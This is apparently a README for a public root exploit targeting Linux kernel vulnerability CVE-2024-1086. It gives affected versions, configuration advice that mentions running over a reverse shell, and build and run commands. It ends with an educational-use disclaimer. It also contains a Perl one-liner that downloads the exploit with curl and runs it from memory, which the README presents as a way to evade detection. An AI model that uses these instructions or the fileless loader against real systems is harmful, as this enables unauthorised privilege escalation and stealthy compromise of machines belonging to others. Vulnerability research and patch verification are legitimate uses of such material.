Home

Awesome

CVE-2024-1086

Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Blogpost / Write-up

A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the Flipping Pages blogpost.

Affected versions

The exploit affects versions from (including) v5.14 to (including) v6.6, excluding patched branches v5.15.149>, v6.1.76>, v6.6.15>. The patch for these versions were released in feb 2024. The underlying vulnerability affects all versions (excluding patched stable branches) from v3.15 to v6.8-rc1.

Caveats:

Usage

Configuration

The default values should work out of the box on Debian, Ubuntu, and KernelCTF with a local shell. On non-tested setups/distros, please make sure the kconfig values match with the target kernel. These can be specified in src/config.h. If you are running the exploit on a machine with more than 32GiB physical memory, make sure to increase CONFIG_PHYS_MEM. If you are running the exploit over SSH (into the test machine) or a reverse shell, you may want to toggle CONFIG_REDIRECT_LOG to 1 to avoid unnecessary network activity.

Building

If this is impractical for you, there is an compiled x64 binary with the default config.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binary: CVE-2024-1086/exploit

Running

Running the exploit is just as trivial:

./exploit

Fileless execution is also supported, in case of pentest situations where detections need to be avoided. However, Perl needs to be installed on the target:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Disclaimer

The programs and scripts ("programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of the programs in this repository, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with the programs in this repository.